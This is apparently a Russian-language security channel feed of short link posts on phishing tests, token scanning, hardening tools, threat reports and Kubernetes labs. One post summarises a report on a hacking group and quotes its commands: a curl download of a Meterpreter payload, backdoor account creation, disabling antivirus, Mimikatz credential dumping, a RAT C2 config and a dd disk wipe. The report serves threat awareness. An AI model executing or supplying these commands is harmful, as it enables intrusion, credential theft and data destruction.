Пошаговый процесс создания и запуска фишинговой кампании с целью тестирования и улучшения безопасности организации.

https://blog.onsec.io/from-zero-to-hero-phishing-campaign/
https://blog.onsec.io/from-zero-to-hero-phishing-campaign-part-2/
https://blog.onsec.io/from-zero-to-hero-phishing-company-final/

#phishing #security

Сегодня обнаружил, что у Grafana есть фича поиска своих токенов в GitHub.

Когда GitHub Secret Scanning находит Grafana secret, его хэш отправляется в Grafana Labs’ secret scanning service.

Ваша Grafana может сравнивать этот хэш с хэшем своих токенов и присылать алерты что токен утек.

GitHub молодцы, Grafana молодцы, все молодцы! Осталось только включить [secretscan]

#grafana #security

Sara: RouterOS Security Inspector

Python скрипт для проверки безопасности конфигурации RouterOS

#routeros #mikrotik #security #analyzer

DevSec Hardening Framework
Фреймворк и набор плейбуков для усиления безопасности ОС и сервисов

#security

«Тени не скроются: Расследование атак группировки Shadow»

F.A.C.C.T. выкатили объемный отчет о группировке Shadow, а также жирный комплект инструментария, используемого в атаках.

#security #report

Шаблоны для построения security пайплайнов. Можно взять какие-то идеи при построении DevSecOps пайплайна

Ещё один

#security

Azure Active Directory security operations guide

#security #microsoft #azure #AD

Falcosidekick - коннектор Falco (eBPF аудит сисколов) ко всему на свете - позволит отправлять уведомленния о событиях в мессенджеры, БД, Jira, да куда угодно

И falcosidekick-ui - UI к нему

#falco #security

Сквозь тени анархии: разбираем атаки Cyber Anarchy Squad

Отчет о деятельности хак-группы. Интересно узнать какими инструментами пользуются атакующие:
1. Initial Access (Первоначальный доступ):
-Компрометация сервисов: Используются уязвимости в Jira, Confluence, MS SQL Server.

2. Execution (Выполнение):
- Запуск команд через MS SQL: cmd.exe /c
-Процесс cmd.exe запускается как дочерний процесс sqlservr.exe
- Запуск PowerShell-скриптов:

powershell.exe -ex bypass -f \\[DOMAIN]\netlogon\rm.ps1

-Загрузка обратной оболочки Meterpreter через c URL:

cmd.exe" /c cd %appdata% && dir && curl -O [URL]/sdc.exe

-Запуск Revenge RAT через PowerShell:

powershell.exe -WindowStyle Hidden -NoExit -Command 
[System.Reflection.Assembly]::LoadFile('C:\Users\<username>\Downloads\<exe_name>.exe').EntryPoint.Invoke($null, @())

3. Persistence (Закрепление):
-Создание учетных записей:

net user admin cas /add
net user admin admin123123123 /add

-Автозапуск через реестр:

RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
 registryKey.SetValue("rpchost", "\"C:\\Windows\\System32\\rpchost.exe\"");

-Создание службы для RAT:

Program.hService = Helper.CreateService(Program.hSCM, "NgcMngrSvc", "Microsoft Passport Manager", 983551, 16, 2, 0, Program.system + "svxhost.exe", null, IntPtr.Zero, null, null, null);

4. Defense Evasion (Уклонение от обнаружения):
- Отключение EPP через PowerShell:

 $guidQuery = wmic product where "[redacted]" get IdentifyingNumber
 $guid = $guidQuery | Select-String -Pattern "{[A-F0-9-]+}" | ForEach-Object { $_.Matches[0].Value }
 msiexec.exe /x $guid /quiet

-Добавление исключений Windows Defender:

powershell Add-MpPreference -ExclusionPath '$windir\$system32'

- Имитация системных процессов:

С:\Windows\System32\svxhost.exe
C:\Windows\System32\drivers\etc\rpchost.exe

5. Credential Access (Доступ к учетным данным):
-Сбор паролей с использованием Mimikatz(пример извлечения хэшей): sekurlsa::logonpasswords


6. Discovery (Исследование инфраструктуры):
- Сбор информации о пользователях и системе:

 net user
 systeminfo
 net localgroup
 cd %appdata% && whoami

WMI-запросы:

 SELECT * FROM Win32_OperatingSystem
 SELECT UserName FROM Win32_ComputerSystem
 SELECT * FROM WIN32_Processor

7. Command and Control (Управление):
-Конфигурация Spark RAT:
{
"secure": false,
"host": "[C2_SERVER]",
"port": 9610,
"path": "/",
"uuid": "3917b41****",
"key": "aa494c90****"
}


8. Impact (Нанесение ущерба):
- Шифрование файлов:
Используются LockBit и Babuk с расширениями, связанными с группой, например 3119.
-Удаление данных через dd:

 dd if=/dev/zero of=/dev/[VOLUME] bs=4M

Выжимку по командам стащил из Linkedin

#security #report

#hardware #hacking #security

GitHub Actions Pipeline Enumeration and Attack Tool

GitHub recommends that self-hosted runners only be utilized for private repositories, however, there are thousands of organizations that utilize self-hosted runners. Default configurations are often vulnerable, and Gato uses a mix of workflow file analysis and run-log analysis to identify potentially vulnerable repositories at scale.

#security #github

Интересное расследование от команды безопасности Google:
- малварь использует Google Calendar как Command&Control Center. Оператор (человек) создает в календаре событие с зашифрованным описанием. Малварь читает, расшифровывает и выполняет команды из шифра

- чтобы запутать дизассемблер адрес функции был запрятан с использованием переполнения буфера. То есть программа ссылается на "несуществующую" область памяти и выполняет код оттуда. В реверсе я не силен, поэтому тут мог грубо напутать, если есть гуру - пишите в комментах что там было

#security #APT

CWE TOP 25 Most Dangerous Software Errors

https://www.sans.org/top25-software-errors/

#security

Уязвимости в Bluetooth чипах, позволяющие завладеть устройством.
Уязвимо большинство популярных наушников:

Beyerdynamic Amiron 300
Bose QuietComfort Earbuds
EarisMax Bluetooth Auracast Sender
Jabra Elite 8 Active
JBL Endurance Race 2
JBL Live Buds 3
Jlab Epic Air Sport ANC
Marshall ACTON III
Marshall MAJOR V
Marshall MINOR IV
Marshall MOTIF II
Marshall STANMORE III
Marshall WOBURN III
MoerLabs EchoBeatz
Sony CH-720N
Sony Link Buds S
Sony ULT Wear
Sony WF-1000XM3
Sony WF-1000XM4
Sony WF-1000XM5
Sony WF-C500
Sony WF-C510-GFP
Sony WH-1000XM4
Sony WH-1000XM5
Sony WH-1000XM6
Sony WH-CH520
Sony WH-XB910N
Sony WI-C100
Teufel Tatws2

Эксплойта в паблике ещё нет. Но молодежь с говнорэпом из блутус колонок очень очень ждет его. А ещё тут скоро будет запись доклада об этом

#security #bluetooth

https://hack-gpon.org/

#security #gpon

Kubernetes security diagram (cheatsheet)

#k8s #security

Damn Vulnerable Kubernetes App

Аналог Kubernetes Goat для похека k8s из уязвимых приложений. Пока только три челленджа:
1. Hack The NFT Museum
2. Enterprise Grade Network Debugging Console
3. From App-Level CVEs to Full Cluster Takeover
и большой воркшоп Hands-On Attack and Defense где рассматриваются разные темы для специалистов разного уровня подготовки - от деплоя приложений до эксплуатации Ingress NightMare

#k8s #security

https://github.com/infinition/Bjorn

Bjorn is a « Tamagotchi like » sophisticated, autonomous network scanning, vulnerability assessment, and offensive security tool designed to run on a Raspberry Pi equipped with a 2.13-inch e-Paper HAT.

И статья на ксакепе о нем

#security

Как ломают 1С
https://ardent101.github.io/posts/1c/

#security #1c

Огромная база паролей с поиском по хэшу и c API. Ещё и бесплатно
https://weakpass.com/

#security #password